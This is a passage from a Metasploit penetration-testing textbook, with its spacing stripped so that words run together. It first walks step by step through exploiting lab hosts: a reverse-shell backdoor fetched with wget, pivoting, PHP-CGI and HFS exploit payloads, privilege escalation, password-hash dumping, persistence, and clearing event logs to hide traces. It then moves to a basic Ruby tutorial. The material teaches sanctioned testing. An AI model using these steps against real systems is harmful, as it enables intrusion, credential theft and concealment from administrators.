Next,wecancheckforthematchingpayloadsviatheshowpayloadscommandtoseewhatpayloadsaresuitableforthisparticularexploitmodule.Wecanseeonlyasinglepayload,whichiscmd/unix/interact.Wecanusethispayloadusingthesetpayloadcmd/unix/interactcommand.

Letusnowtakeastepfurtherandexploitthesystem,asshowninthefollowingscreenshot:

screenshot:

Bingo!Wegotrootaccesstothetargetsystem.So,what'snext?Sincewehavegotasimpleshell,letustrygainingbettercontroloverthetargetbyspawningameterpretershell.

Inordertogainameterpretershell,weneedtocreateaclient-orientedpayload,uploadittothetargetsystem,andexecuteit.So,let'sgetstarted:

Wecanuseagreatutilitycalledmsfvenomtogenerateameterpreterpayload,asshownintheprecedingscreenshot.The-pswitchdefinesthepayloadtouse,whileLHOSTandLPORTdefineourIPaddressandportnumberthatourbackdoor.elffilewillconnecttoinordertoprovideusmeterpreteraccesstothetarget.The-fswitchdefinestheoutputtype,andelfisthedefaultextensionfortheLinux-basedsystems.

Sincewehaveanormalcmdshell,itwouldbedifficulttouploadbackdoor.elffileontothetarget.Therefore,letusrunApacheserverandhostourmaliciousfileonit:

fileonit:

Weruntheapacheserviceviatheserviceapache2startcommandandmovethebackdoorfileintothedefaultdocumentrootdirectoryoftheApacheserver.LetusnowdownloadthefilefromourApacheserverontothevictimsystem.

Wecandownloadthefileviathewgetcommand,asshownintheprecedingscreenshot.Now,inordertoallowthevictimsystemtocommunicatewithMetasploit,weneedtosetupanexploithandleronoursystem.ThehandlerwillallowcommunicationbetweenthetargetandMetasploitusingthesameportandpayloadweusedinthebackdoor.elffile.

Weissueuseexploit/multi/handleronaseparateterminalinMetasploitandsetthepayloadtypeaslinux/x86/meterpreter/reverse_tcp.Next,wesetthelisteningportviasetLPORT4444andLHOSTasourlocalIPaddress.Wecannowrunthemoduleusingtheexploitcommandandwaitfortheincomingconnections.

Whenwedownloadthefileontothetarget,weprovideappropriatepermissionstothefileviathechmodcommand,asshowninthefollowingscreenshot:

Providingthe777permissionwillgrantalltherelevantread,write,andexecutepermissionsonthefile.Executethefile,andnowswitchtotheotherterminal,whichisrunningourexploithandler:

Bingo!Wegotthemeterpreteraccesstothetarget.Let'sfindsomeinterestinginformationusingthepostexploitationmodules:

Runningthesysinfocommand,wecanseethatthetargetismetasploitable(anintentionallyvulnerableoperatingsystem),itsarchitectureisi686,andthekernelversionis2.6.24-16.

Let'srunsomeinterestingcommandsinordertodivedeepintothenetwork:

Runningtheifconfigcommandonthetarget,weseeprettyinterestinginformation,suchasanadditionalnetworkinterface,whichmayleadustotheinternalnetworkonwhichtheinternalsystemsmayreside.Werunthearp

commandonthetargetandcheckiftherearesomesystemsalreadyconnectedorwereconnectedtotheexploitedsystemfromtheinternalnetwork,asshowninthefollowingscreenshot:

WecanclearlyseeanadditionalsystemwiththeIPaddress192.168.20.4ontheinternalnetwork.Approachingtheinternalnetwork,weneedtosetuppivotingontheexploitedmachineusingtheautoroutecommand:

Theautoroute-pcommandprintsalltheroutinginformationonasession.Wecanseewedonothaveanyroutesbydefault.Letusaddaroutetothetargetinternalnetworkusingtheautoroute-s192.168.20.0255.255.255.0command.Issuingthiscommand,wecanseethattheroutegotsuccessfullyaddedtotheroutingtable,andnowallthecommunicationfromMetasploitwillpassthroughourmeterpretersessiontotheinternalnetwork.

Letusnowputthemeterpretersessioninthebackgroundbyusingthebackgroundcommandasfollows:

Sincetheinternalnetworkisnowapproachable,letusperformaportscanonthe192.168.20.4systemusingtheauxiliary/scanner/portscan/tcpauxiliarymoduleasfollows:

RunningtheportscanmodulewillrequireustosettheRHOSTSoptiontothetarget'sIPaddressusingsetgRHOSTS192.168.20.4.ThesetgoptionwillgloballysetRHOSTSvalueto192.168.20.4andthuseliminatestheneedtoretypethesetRHOSTScommandagainandagain.

Inordertorunthismodule,weneedtoissuetheruncommand.Wecanseefromtheoutputthattherearemultipleservicesrunningonthe192.168.20.4system.Additionally,wecanseethatport80isopen.Letustryfingerprintingtheservicerunningonport80usinganotherauxiliarymodule,auxiliary/scanner/http/http_version,asfollows:

Runningtheauxiliarymodule,wefindthattheservicerunningonport80isthepopularApache2.2.8webserver.Exploringtheweb,wefindthatthePHPversion5.2.4isvulnerableandcanallowanattackertogainaccessoverthetargetsystem.

VulnerabilityanalysisofPHP-CGIquerystringparametervulnerabilityThisvulnerabilityisassociatedwithCVEid2012-1823,whichisthePHP-CGIquerystringparametervulnerability.AccordingtothePHPsite,whenPHPisusedinaCGI-basedsetup(suchasApache'smod_cgid),php-cgireceivesaprocessedquerystringparameterascommand-lineargument,whichallowscommand-lineswitches,suchas-s,-dor-c,tobepassedtothephp-cgibinary,whichcanbeexploitedtodisclosesourcecodeandobtainarbitrarycodeexecution.Therefore,aremoteunauthenticatedattackercouldobtainsensitiveinformation,causeaDoScondition,ormaybeabletoexecutearbitrarycodewiththeprivilegesofthewebserver.

AcommonexampleofthisvulnerabilitywillallowdisclosureofsourcecodewhenthefollowingURLisvisited:http://localhost/index.php?-s.

Note

Formoreinformationontheexploit,refertohttps://www.rapid7.com/db/modules/exploit/multi/http/php_cgi_arg_injection/.

Exploitationandpostexploitation

Gatheringknowledgeaboutthevulnerability,let'strytofindthematchingMetasploitmoduleinordertoexploitthevulnerability:

Wecanseethatwehavefoundthematchingexploitfromthelistofmatchingmodules,asfollows:

LetusnowtryexploitingthevulnerabilitybyloadingthematchingmoduleinMetasploit,asfollows:

Weneedtosetalltherequiredvaluesfortheexploitmodule,asfollows:

Wecanfindalltheusefulpayloadsthatwecanusewiththeexploitmodulebyissuingtheshowpayloadscommand,asfollows:

Ontheprecedingscreen,wecanseequitealargenumberofpayloads.However,letussetthephp/meterpreter/reverse_tcppayloadasitprovidesbetteroptionsandflexibilitythanthegeneric/shell_bind_tcppayload:

Finally,letusassignourlocalIPaddresstoLHOSTasfollows:

Wearenowallsettoexploitthevulnerableserver.Let'sissuetheexploitcommand:

Bingo!Wegottheaccesstotheinternalsystemrunningon192.168.20.4.Let'srunafewpostexploitationcommandssuchasgetwd,whichwillprintthecurrentdirectoryandissimilartothepwdcommand.Thegetuidcommandwillprintthecurrentuserwegotaccessto,andtheshellcommandwillspawnacommand-lineshellonthetargetsystem.

Oncewedropintotheshell,wecanrunsystemcommandssuchasuname-atofindoutthekernelversion,andcanalsousewgetandchmodandexecutecommandstospawnasimilarmeterpretershellaswedidonthefirstsystem.Runningthesecommandswillgenerateoutputsimilartowhatisshowninthefollowingscreenshot:

Downloadthesamebackdoor.elffileontothisserverbyissuingawgetcommandorusingthedownloadcommandfrommeterpreterinordertogainabetterqualityofaccessthroughthePHPmeterpreter.ThisisanimportantstepbecausesayifweneedtofigureouttheARPdetailsofthishost,wewon'tbeabletodothatusingaPHPmeterpreter.Therefore,weneedabetteraccessmechanism.

Executingthebackdoor.elffileonthismachinewillprovidemeterpreteraccess

asfollows:

Runningtheexploithandleronaseparateterminalandwaitingfortheincomingconnection,wegetthefollowingoutputassoonasthebackdoor.elffilegetsexecutedandconnectstooursystem:

Boom!Wemadeittothesecondmachineaswell.Let'snowfigureoutitsARPdetailsanddiscovermoresystems,ifany,onthenetworkasfollows:

WecanseeonemoresystemwiththeIPaddress192.168.20.6ontheinternalnetwork.However,wedonotneedtoaddaroutetothismachinesincethefirstmachinealreadyhasaroutetothenetwork.Therefore,wejustneedtoswitchbacktotheMetasploitconsole.Uptothispoint,wehavethreemeterpretersessions,asshowninthisscreenshot:

Sincewealreadyhavearoutetothenetworkofthenewlyfoundhost,letusperformaTCPscanoverthe192.168.20.6targetsystemusingtheauxiliary/scanner/portscan/tcpmoduleasfollows:

Wecanseethatwehavefewopenports.WecanindividuallyscanpopularportswiththeirrelevantmodulesusingMetasploit.LetusscantheHTTPports80and8080withtheauxiliary/scanner/http/http_headerauxiliarymoduletofindwhatservicesarerunningonthemasfollows:

WecanseefromtheprecedingscreenshotthatwehavethelatestIIS8.5runningonport80,whichisabitdifficulttoexploitsinceitdoesn'thaveanyhigh-riskvulnerabilities.However,wehaveHFS2.3runningonport8080,whichispronetoaknownRemoteCodeExecutionflaw.

VulnerabilityanalysisofHFS2.3AccordingtotheCVEdetailsforthisvulnerability(CVE-2014-6287),thefindMacroMarkerfunctioninparserLib.pasinRejettoHTTPFileServer(otherwiseknownasHFSorHttpFileServer)2.3x(inversionspriorto2.3c)allowsremoteattackerstoexecutearbitraryprogramsviaa%00sequenceinasearchaction.

Hereisthevulnerablefunction:

functionfindMacroMarker(s:string;ofs:integer=1):integer;

beginresult:=reMatch(s,'\{[.:]|[.:]\}|\|','m!',ofs)end;

Thefunctionwillnothandleanullbytesafely,soarequesttohttp://localhost:80/search=%00{.exec|cmd.}willstopregexfromparsingthemacro,andremotecodeinjectionwillhappen.

Note

Detailsabouttheexploitcanbefoundathttps://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec.

Exploitationandpostexploitation

LetusfindtherelevantexploitmoduleviathesearchcommandinMetasploitinordertoloadtheexploitfortheHFS2.3server:

Wecanseewehavetheexploit/windows/http/rejetto_hfs_execmodulematchingthevulnerabletarget.Let'sloadthismoduleusingtheusecommandandsettheRHOSToptiontotheIPaddressofthetargetandRPORTto8080.Wemustalsoconfigurethepayloadaswindows/meterpreter/reverse_tcpandsetHOSTtoourIPaddressandLPORTto4444(oranythingusable).Oncealltheoptionshavebeenconfigured,let'sseeifeverythingissetproperlybyissuingtheshowoptionscommandasfollows:

Wecanseethatwehaveeverythingsetonourmoduleandwearegoodtoexploitthesystemusingtheexploitcommand,asfollows:

Bingo!Webreachedtheserver,andweareinsideit.Letusperformsomepostexploitationtasksasfollows:

WesuccessfullygainedaccesstoaWindowsServer2012boxwithAdministratorprivileges.Letusissuethegetsystemcommandandescalatetheprivilegestosystemlevel.WecanseeintheprecedingscreenshotthattheprivilegesarenowchangedtoSYSTEM.

Let'sexploremoreandrunsomebasicpostexploitationcommands,suchasgetpidandps,whichareusedtogatherthelistofrunningprocesses.ThegetpidcommandisusedtoprinttheprocessIDinwhichmeterpreterresides,asshowninthefollowingscreenshot:

WecanseethatwehavetheprocessID2036,whichcorrespondstoeIJDRPTHQ.exe.Therefore,ifanadministratorkillsthisparticularprocess,ourmeterpretersessionisgone.Wemustescalateouraccesstoabetterprocess,whichshouldevadetheeyesoftheadministrator.Theexplorer.exeprocessisagoodoption.Wewillmigratetoexplorer.exe,themainprocessonWindows-baseddistributions,asfollows:

Oncemigrated,wecancheckthecurrentprocessIDbyissuingthegetpidcommandasshownintheprecedingscreenshot.Wecangatherpasswordhashesfromthecompromisedsystemusingthehashdumpcommand,whichcanbeseen

inthefollowingscreenshot:

Aftergatheringthehashes,wecanalwaysexecuteapass-the-hashattackandbypassthelimitationofnothavingaplaintextpassword.

Note

Refertohttp://www.cvedetails.com/vendor/26/Microsoft.htmlformoreinformationonvariousvulnerabilitiesinWindowsbasedoperatingsystems.Refertohttp://www.cvedetails.com/top-50-vendors.php?year=0formoreinformationonvulnerabilitiesinthetop50vendorsintheworld.

MaintainingaccessMaintainingaccessiscrucialbecausewemightneedtointeractwiththehackedsystemrepeatedly.Therefore,inordertoachievepersistentaccess,wecanaddanewusertothehackedsystem,orwecanusethepersistencemodulefromMetasploit.

Runningthepersistencemodulewillmaketheaccesstothetargetsystempermanentbyinstallingapermanentbackdoortoit.Therefore,ifthevulnerabilitypatches,wecanstillmaintainaccesstothattargetsystem,asshowninthefollowingscreenshot:

Runningthepersistencemodulewilluploadandexecuteamalicious.vbsscriptonthetarget.Theexecutionofthismaliciousscriptwillcauseaconnectionattempttobemadetotheattacker'ssystemwithagapofeveryfewseconds.Thisprocesswillalsobeinstalledasaserviceandisaddedtothestartupprogramslist.So,nomatterhowmanytimesthetargetsystemboots,theservicewillbeinstalledpermanently.Hence,itseffectremainsintactunlesstheserviceisuninstalledorremovedmanually.

Inordertoconnecttothismaliciousserviceatthetargetandregainaccess,weneedtosetupexploit/multi/handler.Ahandlerisauniversalexploithandlerusedtohandleincomingconnectionsinitiatedbytheexecutedpayloadsatthetargetmachine.Touseanexploithandler,weneedtoissuecommandsfromtheMetasploitframework'sconsole,asshowninthefollowingscreenshot:

AkeypointhereisthatweneedtosetthesamepayloadandthesameLPORToptionthatweusedwhilerunningthepersistencemodule.

Afterissuingtheexploitcommand,thehandlerstartstowaitfortheconnectiontobemadefromthetargetsystem.Assoonasanincomingconnectionisdetected,wearepresentedwiththemeterpretershell.

Informationonmeterpreterbackdoorsusingmetsvccanbefoundathttps://www.offensive-security.com/metasploit-unleashed/meterpreter-backdoor/.

ClearingtracksAfterasuccessfulbreachofthetargetsystem,itisadvisabletocleareverytrackofourpresence.However,duringasanctionedpenetrationtest,itisnotadvisabletoclearlogsandtracksbecauseblueteamscanleveragetheselogentriestoimprovetheirdefenseswhilefiguringouthowthetestermadeitthroughtothesystem.Therefore,onlybackdoorsorexecutablesshouldberemoved.Nevertheless,wemustlearnhowwecancleartracks.Inordertoachievethis,weneedtocleartheeventlogs.Wecanclearthemwiththeeventmanagermoduleasfollows:

Wecanseewehavealargenumberoflogspresent.Let'sclearthemusingthe-cswitchasfollows:

Atthispoint,weendupwiththepenetrationtestingprocessforthetargetnetworkenvironmentandcancontinuewiththereportgenerationprocess.Intheprecedingtest,wefocusedonasinglevulnerabilitypersystemonly,justforthesakeoflearning.However,wemusttestallthevulnerabilitiestoverifyallthepotentialvulnerabilitiesinthetargetsystem.

Wecanalsoremoveeventlogsbyissuingtheclearevcommandfromthemeterpretershell.

RevisingtheapproachLetussummarizetheentirepenetrationteststepbystep:

1. Intheveryfirststep,wedidanNMAPscanoverthetarget.2. WefoundthatVSFTPD2.3.4isrunningonport21andisvulnerableto

attack.3. WeexploitedVSFTPD2.3.5runningonport21.4. Wegottheshellaccesstothetargetrunningat192.168.10.112.

5. WecreatedaLinuxmeterpretershellandcopiedittothe/var/wwwdirectoryofApache.Next,weranthewgetcommandfromtheshellanddownloadedournewlycreatedmeterpretershellontothetarget.

6. Weassignedfullprivilegestotheshellbackdoorfileviachmod777backdoor.elf.

7. Settingupanexploithandlerinaseparatewindow,whichislisteningonport4444,weranthebackdoor.elffileonthetarget.

8. WegottheLinuxmeterpreteraccessonthetargetsystem,whichis192.168.10.112.

9. Runningthearpcommandonthecompromisedsystem,wefoundthatitwasinternallyconnectedtoaseparatenetworkandisconnectedtoanother

systemrunningonaninternalIPaddress,192.168.20.4.

10. Wequicklysetupanautoroutetothe192.168.20.0/24networkviaourmeterpretershellon192.168.10.112.

11. Pivotingallthetrafficthroughourmeterpreter,weperformedaTCPportscanonthetargetandserviceidentificationmodules.

12. WefoundthattargetwasrunningvulnerableversionofPHPonport80.13. WeexploitedthesystemwithPHPCGIArgumentInjectionVulnerability.14. WegainedPHPmeterpreteraccesstotheinternalsystemofthenetwork

runningat192.168.20.4.15. Weperformedsimilarstepsasdonepreviouslyonthefirstsystem,by

uploadingandexecutingthebackdoor.elffile.16. WegotLinuxmeterpreteraccesstothetarget.17. Weranthearpcommandtofindiftherewereanyotherhostspresenton

thenetwork.18. WefiguredoutthattherewasonemoresystemrunningonIPaddress

192.168.20.6andweperformedaTCPportscan.

19. Scanningalltheports,wefiguredoutthatHFS2.3wasrunningonport8080andwasvulnerabletotheRemoteCommandExecutionvulnerability.

20. WeexploitedthesystemwiththeHFSexploitmodulewithMetasploit.21. WegottheWindowsmeterpreteraccesstothetarget.22. Weranapersistencemoduletomaintainaccesstothetarget.23. Thepersistencemodulewilltrytoestablishaconnectiontooursystemafter

everyfewsecondsandwillopenmeterpreteraccessassoonasahandlerisup.

24. Weclearedthelogsviatheevent_managermodulefrommeterpreter.

SummaryThroughoutthischapter,wehaveintroducedthephasesinvolvedinpenetrationtesting.WehavealsoseenhowwecansetupMetasploitandconductablackboxtestonthenetwork.WerecalledthebasicfunctionalitiesofMetasploitaswell.WesawhowwecouldperformapenetrationtestontwodifferentLinuxboxesandWindowsServer2012.WealsolookedatthebenefitsofusingdatabasesinMetasploit.

Aftercompletingthischapter,weareequippedwiththefollowing:

KnowledgeofthephasesofapenetrationtestThebenefitsofusingdatabasesinMetasploitThebasicsoftheMetasploitframeworkKnowledgeoftheworkingsofexploitsandauxiliarymodulesKnowledgeoftheapproachtopenetrationtestingwithMetasploit

TheprimarygoalofthischapterwastoinformyouaboutpenetrationtestphasesandMetasploit.Thischapterfocusedentirelyonpreparingourselvesforthenextchapters.

Inthenextchapter,wewillcoveratechniquethatisalittlemoredifficult,thatis,scriptingthecomponentsofMetasploit.WewilldiveintothecodingpartofMetasploitandwriteourcustomfunctionalitiestotheMetasploitframework.

Chapter2.ReinventingMetasploit"Oneofthegreatestchallengesinlifeisbeingyourselfinaworldthat'stryingtomakeyoulikeeveryoneelse"-Anonymous

AfterrecallingthebasicsofMetasploit,wecannowmovefurtherintothebasiccodingpartofMetasploit.WewillstartwiththebasicsofRubyprogrammingandunderstandthevarioussyntaxesandsemanticsofit.ThischapterwillmakeiteasyforyoutowriteMetasploitmodules.Inthischapter,wewillseehowwecandesignandfabricatevariouscustomMetasploitmodules.Wewillalsoseehowwecancreatecustompost-exploitationmodules,whichwillhelpusgainbettercontroloftheexploitedmachine.

Considerascenariowherethesystemsunderthescopeofthepenetrationtestareverylargeinnumber,andweneedtoperformapost-exploitationfunctionsuchasdownloadingaparticularfilefromallthesystemsafterexploitingthem.Downloadingaparticularfilefromeachsystemmanuallyistimeconsumingandinefficient.Therefore,inascenariolikethis,wecancreateacustompost-exploitationscriptthatwillautomaticallydownloadafilefromallthecompromisedsystems.

ThischapterkicksoffwiththebasicsofRubyprogrammingincontextofMetasploitandendswithdevelopingvariousMetasploitmodules.Inthischapter,wewillcover:

UnderstandingthebasicsofRubyprogramminginthecontextofMetasploitExploringmodulesinMetasploitWritingyourownscanner,bruteforceandpost-exploitationmodulesCodingmeterpreterscriptsUnderstandingthesyntaxesandsemanticsofMetasploitmodulesPerformingtheimpossiblewithRailGunbyusingDLLs

Let'snowunderstandthebasicsofRubyprogrammingandgathertherequiredessentialsweneedtocodetheMetasploitmodules.

BeforewedelvedeeperintocodingMetasploitmodules,wemustknowthecorefeaturesofRubyprogrammingthatarerequiredinordertodesignthesemodules.WhydowerequireRubyforMetasploit?Thefollowingkeypoints

modules.WhydowerequireRubyforMetasploit?Thefollowingkeypointswillhelpusunderstandtheanswertothisquestion:

ConstructinganautomatedclassforreusablecodeisafeatureoftheRubylanguagethatmatchestheneedsofMetasploitRubyisanobject-orientedstyleofprogrammingRubyisaninterpreter-basedlanguagethatisfastandreducesdevelopmenttime

Ruby–theheartofMetasploitRubyisindeedtheheartoftheMetasploitframework.However,whatexactlyisRuby?Accordingtotheofficialwebsite,Rubyisasimpleandpowerfulprogramminglanguage.YokihiruMatsumotodesigneditin1995.Itisfurtherdefinedasadynamic,reflective,andgeneral-purposeobject-orientedprogramming(OOP)languagewithfunctionssimilartoPerl.

Tip

YoucandownloadRubyforWindows/Linuxfromhttp://rubyinstaller.org/downloads/

YoucanrefertoanexcellentresourceforlearningRubypracticallyathttp://tryruby.org/levels/1/challenges/0

CreatingyourfirstRubyprogram

Rubyisaneasy-to-learnprogramminglanguage.Now,let'sstartwiththebasicsofRuby.RememberthatRubyisavastprogramminglanguage.CoveringallthecapabilitiesofRubywillpushusbeyondthescopeofthisbook.Therefore,wewillonlysticktotheessentialsthatarerequiredindesigningMetasploitmodules.

InteractingwiththeRubyshell

Rubyoffersaninteractiveshelltoo.WorkingontheinteractiveshellwillhelpusunderstandthebasicsofRubyclearly.So,let'sgetstarted.OpenyourCMD/terminalandtypeirbinittolaunchtheRubyinteractiveshell.

Let'sinputsomethingintotheRubyshellandseewhathappens;supposeItypeinthenumber2asfollows:

irb(main):001:0>2

=>2

Theshellthrowsbackthevalue.Now,let'sgiveanotherinputsuchastheadditionoperationasfollows:

irb(main):002:0>2+3

=>5

Wecanseethatifweinputnumbersusinganexpressionstyle,theshellgivesusbacktheresultoftheexpression.

Let'sperformsomefunctionsonthestring,suchasstoringthevalueofastringinavariable,asfollows:

irb(main):005:0>a="nipun"

=>"nipun"

irb(main):006:0>b="lovesMetasploit"

=>"lovesmetasploit"

Afterassigningvaluestothevariablesaandb,let'sseewhattheshellresponsewillbewhenwewriteaanda+bontheshell'sconsole:

irb(main):014:0>a

=>"nipun"

irb(main):015:0>a+b

=>"nipunlovesmetasploit"

Wecanseethatwhenwetypedinaasaninput,itreflectedthevaluestoredinthevariablenameda.Similarly,a+bgaveusbacktheconcatenatedresultofvariablesaandb.

Definingmethodsintheshell

Amethodorfunctionisasetofstatementsthatwillexecutewhenwemakeacalltoit.WecandeclaremethodseasilyinRuby'sinteractiveshell,orwecandeclarethemusingthescriptaswell.MethodsareanimportantconceptwhenworkingwithMetasploitmodules.Let'sseethesyntax:

defmethod_name[([arg[=default]]...[,*arg[,&expr]])]

expr

end

Todefineamethod,weusedeffollowedbythemethodname,withargumentsandexpressionsinparentheses.Wealsouseanendstatementfollowingalltheexpressionstosetanendtothemethoddefinition.Here,argreferstotheargumentsthatamethodreceives.Inaddition,exprreferstotheexpressionsthatamethodreceivesorcalculatesinline.Let'shavealookatanexample:

irb(main):002:0>defxorops(a,b)

irb(main):003:1>res=a^b

irb(main):004:1>returnres

irb(main):005:1>end

=>:xorops

Wedefinedamethodnamedxorops,whichreceivestwoargumentsnamedaandb.Furthermore,weXORedthereceivedargumentsandstoredtheresultsinanewvariablecalledres.Finally,wereturnedtheresultusingreturnstatement:

irb(main):006:0>xorops(90,147)

=>201

WecanseeourfunctionprintingoutthecorrectvaluebyperformingtheXORoperation.Rubyofferstwodifferentfunctionstoprinttheoutput:putsandprint.WhenitcomestotheMetasploitframework,theprint_linefunctionisprimarilyused.However,symbolizingsuccess,statusanderrorscanbedone

usingprint_good,print_statusandprint_errorstatementsrespectively.Letuslookatsomethefollowingexamples:

print_good("ExampleofPrintGood")

print_status("ExampleofPrintStatus")

print_error("ExampleofPrintError")

ThesecommandswhenmadetorununderMetasploitmoduleswillproducethefollowingoutputthatdepictsthe+symbolforgoodandisdenotedbyagreencolor,*fordenotingstatusmessageswithabluecolor,anderrorsusingthe-symbolwitharedcolor:

[+]ExampleofPrintGood

[*]ExampleofPrintStatus

[-]ExampleofPrintError

Wewillseetheworkingsofvariousprintstatementtypesinthelatterhalfofthischapter.

VariablesanddatatypesinRuby

Avariableisaplaceholderforvaluesthatcanchangeatanygiventime.InRuby,wedeclareavariableonlywhenweneedtouseit.Rubysupportsnumerousvariabledatatypes,butwewillonlydiscussthosethatarerelevanttoMetasploit.Let'sseewhattheyare.

Workingwithstrings

Stringsareobjectsthatrepresentastreamorsequenceofcharacters.InRuby,wecanassignastringvaluetoavariablewitheaseasseeninthepreviousexample.Bysimplydefiningthevalueinquotationmarksorasinglequotationmark,wecanassignavaluetoastring.

Itisrecommendedtousedoublequotationmarksbecauseifsinglequotationsareused,itcancreateproblems.Let'shavealookattheproblemthatmayarise:

irb(main):005:0>name='MsfBook'

=>"MsfBook"

irb(main):006:0>name='Msf'sBook'

irb(main):007:0''

Wecanseethatwhenweusedasinglequotationmark,itworked.However,whenwetriedtoputMsf'sinsteadofthevalueMsf,anerroroccurred.ThisisbecauseitreadthesinglequotationmarkintheMsf'sstringastheendofsinglequotations,whichisnotthecase;thissituationcausedasyntax-basederror.

Concatenatingstrings

WewillneedstringconcatenationcapabilitiesthroughoutourjourneydealingwithMetasploitmodules.Wewillhavemultipleinstanceswhereweneedtoconcattwodifferentresultsintoasinglestring.Wecanperformstringconcatenationusing+operator.However,wecanelongateavariablebyappendingdatatoitusing<<operator:

irb(main):007:0>a="Nipun"

=>"Nipun"

irb(main):008:0>a<<"loves"

=>"Nipunloves"

irb(main):009:0>a<<"Metasploit"

=>"NipunlovesMetasploit"

irb(main):010:0>a

=>"NipunlovesMetasploit"

irb(main):011:0>b="andplayscounterstrike"

=>"andplayscounterstrike"

irb(main):012:0>a+b

=>"NipunlovesMetasploitandplayscounterstrike"

Wecanseethatwestartedbyassigningthevalue"Nipun"tothevariableaandthenappended"loves"and"Metasploit"toitusingthe<<operator.Wecanseethatweusedanothervariablebandstoredthevalue"andplayscounterstrike"init.Next,wesimplyconcatenatedboththevaluesusingthe+operatorandgotthecompleteoutputas"NipunlovesMetasploitandplayscounterstrike"

Thesubstringfunction

It'squiteeasytofindthesubstringofastringinRuby.Wejustneedtospecifythestartindexandlengthalongthestringasshowninthefollowingexample:

irb(main):001:0>a="12345678"

=>"12345678"

irb(main):002:0>a[0,2]

=>"12"

irb(main):003:0>a[2,2]

=>"34"

Thesplitfunction

Wecansplitthevalueofastringintoanarrayofvariablesusingthesplitfunction.Let'shavelookataquickexamplethatdemonstratesthis:

irb(main):001:0>a="mastering,metasploit"

=>"mastering,metasploit"

irb(main):002:0>b=a.split(",")

=>["mastering","metasploit"]

irb(main):003:0>b[0]

=>"mastering"

irb(main):004:0>b[1]

=>"metasploit"

Wecanseethatwehavesplitthevalueofastringfromthe","positionintoanewarrayb.Thestring"mastering,metasploit"nowforms0thandthe1stelementofthearrayb,containingthevalues"mastering"and"metasploit"respectively.

NumbersandconversionsinRuby

Wecanusenumbersdirectlyinarithmeticoperations.However,remembertoconvertastringintoanintegerwhenworkingonuserinputusingthe.to_ifunction.Ontheotherhand,wecanconvertanintegernumberintoastringusingthe.to_sfunction.

Let'shavealookatsomequickexamplesandtheiroutput:

irb(main):006:0>b="55"

=>"55"

irb(main):007:0>b+10

TypeError:noimplicitconversionofFixnumintoString

from(irb):7:in`+'

from(irb):7

fromC:/Ruby200/bin/irb:12:in`<main>'

irb(main):008:0>b.to_i+10

=>65

irb(main):009:0>a=10

=>10

irb(main):010:0>b="hello"

=>"hello"

irb(main):011:0>a+b

TypeError:Stringcan'tbecoercedintoFixnum

from(irb):11:in`+'

from(irb):11

fromC:/Ruby200/bin/irb:12:in`<main>'

irb(main):012:0>a.to_s+b

=>"10hello"

Wecanseethatwhenweassignedavaluetobinquotationmarks,itwasconsideredasastring,andanerrorwasgeneratedwhileperformingtheadditionoperation.Nevertheless,assoonasweusedtheto_ifunction,itconvertedthevaluefromastringintoanintegervariable,andadditionwasperformedsuccessfully.Similarly,withregardtostrings,whenwetriedtoconcatenateanintegerwithastring,anerrorshowedup.However,aftertheconversion,itworkedperfectlyfine.

ConversionsinRuby

Whileworkingwithexploitsandmodules,wewillrequiretonsofconversionoperations.Letusseesomeoftheconversionswewilluseintheupcomingsections:

Hexadecimaltodecimalconversion:

It'squiteeasytoconvertavaluetodecimalfromhexadecimalinRubyusingtheinbuilthexfunction.Let'slookatanexample:

irb(main):021:0>a="10"

=>"10"

irb(main):022:0>a.hex

=>16

Wecanseewegotthevalue16forahexadecimalvalue10.Decimaltohexadecimalconversion:

Theoppositeoftheprecedingfunctioncanbeperformedwithto_sfunctionasfollows:

irb(main):028:0>16.to_s(16)

=>"10"

RangesinRuby

RangesareimportantaspectsandarewidelyusedinauxiliarymodulessuchasscannersandfuzzersinMetasploit.

Let'sdefinearangeandlookatthevariousoperationswecanperformonthisdatatype:

irb(main):028:0>zero_to_nine=0..9

=>0..9

irb(main):031:0>zero_to_nine.include?(4)

=>true

irb(main):032:0>zero_to_nine.include?(11)

=>false

irb(main):002:0>zero_to_nine.each{|zero_to_nine|

print(zero_to_nine)}

0123456789=>0..9

irb(main):003:0>zero_to_nine.min

=>0

irb(main):004:0>zero_to_nine.max

=>9

Wecanseethatarangeoffersvariousoperationssuchassearching,findingtheminimumandmaximumvalues,anddisplayingallthedatainarange.Here,the

include?functioncheckswhetherthevalueiscontainedintherangeornot.Inaddition,theminandmaxfunctionsdisplaythelowestandhighestvaluesinarange.

ArraysinRuby

Wecansimplydefinearraysasalistofvariousvalues.Let'shavealookatanexample:

irb(main):005:0>name=["nipun","metasploit"]

=>["nipun","metasploit"]

irb(main):006:0>name[0]

=>"nipun"

irb(main):007:0>name[1]

=>"metasploit"

Uptothispoint,wehavecoveredalltherequiredvariablesanddatatypesthatwewillneedforwritingMetasploitmodules.

Tip

Formoreinformationonvariablesanddatatypes,refertothefollowinglink:http://www.tutorialspoint.com/ruby/.

RefertoaquickcheatsheetforusingRubyprogrammingeffectivelyatthefollowinglink:https://github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf.

TransitioningfromanotherprogramminglanguagetoRuby?Refertoahelpfulguide:http://hyperpolyglot.org/scripting.

MethodsinRuby

Amethodisanothernameforafunction.ProgrammerswithadifferentbackgroundthanRubymightusethesetermsinterchangeably.Amethodisasubroutinethatperformsaspecificoperation.Theuseofmethodsimplementsthereuseofcodeanddecreasesthelengthofprogramssignificantly.Definingamethodiseasyandtheirdefinitionstartswiththedefkeywordandendswiththeendstatement.Let'sconsiderasimpleprogramtounderstandtheirworking,forexample,printingoutthesquareof50:

defprint_data(par1)

square=par1*par1

returnsquare

end

answer=print_data(50)

print(answer)

Theprint_datamethodreceivestheparametersentfromthemainfunction,multipliesitwithitself,andsendsitbackusingthereturnstatement.Theprogramsavesthisreturnedvalueinavariablenamedanswerandprintsthevalue.Wewillusemethodsheavilyinthelatterpartofthischapteraswellasinthenextfewchapters.

Decision-makingoperators

Decision-makingisalsoasimpleconceptaswithanyotherprogramminglanguage.Let'shavealookatanexample:

irb(main):001:0>1>2

=>false

Let'salsoconsiderthecaseofstringdata:

irb(main):005:0>"Nipun"=="nipun"

=>false

irb(main):006:0>"Nipun"=="Nipun"

=>true

Let'sconsiderasimpleprogramwithdecision-makingoperators:

deffind_match(a)

ifa=~/Metasploit/

returntrue

else

returnfalse

end

end

#MainStartsHere

a="1238924983Metasploitduidisdid"

bool_b=find_match(a)

printbool_b.to_s

